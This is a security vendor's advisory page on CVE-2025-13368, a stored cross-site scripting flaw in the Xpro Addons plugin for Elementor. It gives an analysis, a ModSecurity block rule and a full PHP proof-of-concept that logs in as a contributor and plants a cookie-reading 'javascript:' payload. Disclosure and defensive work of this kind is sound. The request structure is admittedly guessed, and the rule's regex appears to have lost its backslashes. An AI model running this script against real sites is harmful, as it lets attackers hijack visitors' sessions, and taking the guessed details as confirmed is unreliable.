Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2025-13368: Xpro Addons — 140+ Widgets for Elementor <= 1.4.20 – Authenticated (Contributor+) Stored Cross-Site Scripting (xpro-elementor-addons)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.4.20
Patched Version
Disclosed April 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13368 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Xpro Addons for Elementor WordPress plugin. The issue resides in the plugin’s Pricing Widget component, specifically within its ‘onClick Event’ setting. Attackers with contributor-level or higher permissions can inject arbitrary JavaScript that executes for any user viewing the compromised page. The CVSS score of 6.4 reflects a medium-severity risk with scope change and confidentiality impacts.

Atomic Edge research infers the root cause is improper neutralization of user input (CWE-79). The vulnerability description explicitly cites insufficient input sanitization and output escaping for the ‘onClick Event’ setting. Without code diff confirmation, the likely flaw is that user-supplied data for the widget’s onClick attribute was not filtered before being saved to the database or escaped before being rendered in the page HTML. This is a classic failure to apply WordPress security functions like `sanitize_text_field` on save and `esc_attr` on output for HTML attribute contexts.

Exploitation requires an authenticated user with at least the ‘contributor’ role. The attacker would edit or create a post or page using the Elementor page builder. They would add the vulnerable ‘Pricing’ widget, navigate to its settings panel, and insert a malicious JavaScript payload into the field controlling the ‘onClick Event’ attribute. A typical payload might be `javascript:alert(document.cookie)`. Upon saving the post, the payload is stored in the database. The script executes in the browsers of all subsequent visitors who view the page containing the compromised widget.

The patch in version 1.4.21 likely implements proper input validation and output escaping. Remediation requires ensuring all user-controlled data for the widget’s onClick attribute passes through `sanitize_text_field` or a similar strict filter before storage. Additionally, the output of this attribute must be escaped using `esc_attr` when echoed within an HTML tag, neutralizing any script content.

Successful exploitation leads to stored XSS. Attackers can steal session cookies, perform actions on behalf of authenticated users, deface sites, or redirect visitors to malicious domains. The attacker’s required privilege level (contributor+) limits immediate administrative access, but the vulnerability enables privilege escalation by targeting administrators. The scope change (S:C) in the CVSS vector indicates the impact can extend beyond the plugin’s own security scope to affect the entire WordPress application.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-13368 (metadata-based)
# This rule targets the AJAX endpoint used to save Elementor widget data.
# It blocks requests that attempt to set a malicious 'onClick' attribute in the Xpro Pricing widget.
# The rule matches the exact AJAX URI and action, then inspects the POSTed JSON data for the exploit pattern.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202513368,phase:2,deny,status:403,chain,msg:'CVE-2025-13368: Xpro Addons Stored XSS via Pricing Widget onClick',severity:'CRITICAL',tag:'CVE-2025-13368',tag:'WordPress',tag:'Plugin/Xpro-Addons',tag:'Attack/XSS'"
  SecRule ARGS_POST:action "@streq elementor_ajax" "chain"
    SecRule REQUEST_BODY "@rx "widgetType"s*:s*"xpro-pricing"" "chain"
      SecRule REQUEST_BODY "@rx "onClick"s*:s*"javascript:[^"]"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13368 - Xpro Addons — 140+ Widgets for Elementor <= 1.4.20 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-13368.
 * This script simulates an authenticated attacker (Contributor role) injecting a stored XSS payload
 * into the 'onClick Event' setting of the Xpro Addons Pricing Widget via Elementor's AJAX save system.
 * ASSUMPTIONS:
 * 1. The target site uses Elementor Pro or the free version with Xpro Addons <= 1.4.20.
 * 2. The attacker has valid contributor-level credentials (username/password).
 * 3. The exact AJAX action and parameter structure for saving Elementor widget data is inferred from common patterns.
 * 4. A valid nonce for the 'elementor_ajax' action is required and obtained via a prior request.
 * 5. The target post ID where the payload will be injected is known or can be created.
 */

$target_url = 'http://vulnerable-wordpress-site.local'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_password'; // CONFIGURE THIS
$target_post_id = 123; // CONFIGURE: ID of post/page to edit
$payload = 'javascript:alert(`Atomic Edge XSS: `+document.cookie)'; // XSS payload for onClick attribute

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Fetch a nonce for Elementor AJAX requests from the editor page
$editor_url = $target_url . '/wp-admin/post.php?post=' . $target_post_id . '&action=elementor';
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce from page (simplified pattern match; real implementation may need regex)
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
    die('Could not retrieve Elementor nonce. The user may lack edit permissions for the post.');
}

// Step 3: Craft AJAX request to save Elementor data with malicious widget settings
// Inferred AJAX action: 'elementor_ajax' based on Elementor convention.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
// Construct the widget data. The exact structure is inferred; the 'onClick' key targets the vulnerable setting.
$widget_data = [
    'actions' => [
        [
            'action' => 'save_builder',
            'data' => [
                'post_id' => $target_post_id,
                'elements' => [
                    [
                        'id' => 'some_element_id',
                        'elType' => 'widget',
                        'settings' => [
                            'widgetType' => 'xpro-pricing', // Inferred widget type
                            'onClick' => $payload // Vulnerable parameter
                        ],
                        'elements' => []
                    ]
                ]
            ]
        ]
    ]
];
$post_fields = http_build_query([
    'actions' => json_encode($widget_data),
    '_nonce' => $nonce
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Check response
if (strpos($response, '"success":true') !== false) {
    echo 'Payload likely injected. Visit post ID ' . $target_post_id . ' to trigger XSS.n';
} else {
    echo 'Injection may have failed. Response: ' . $response . 'n';
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School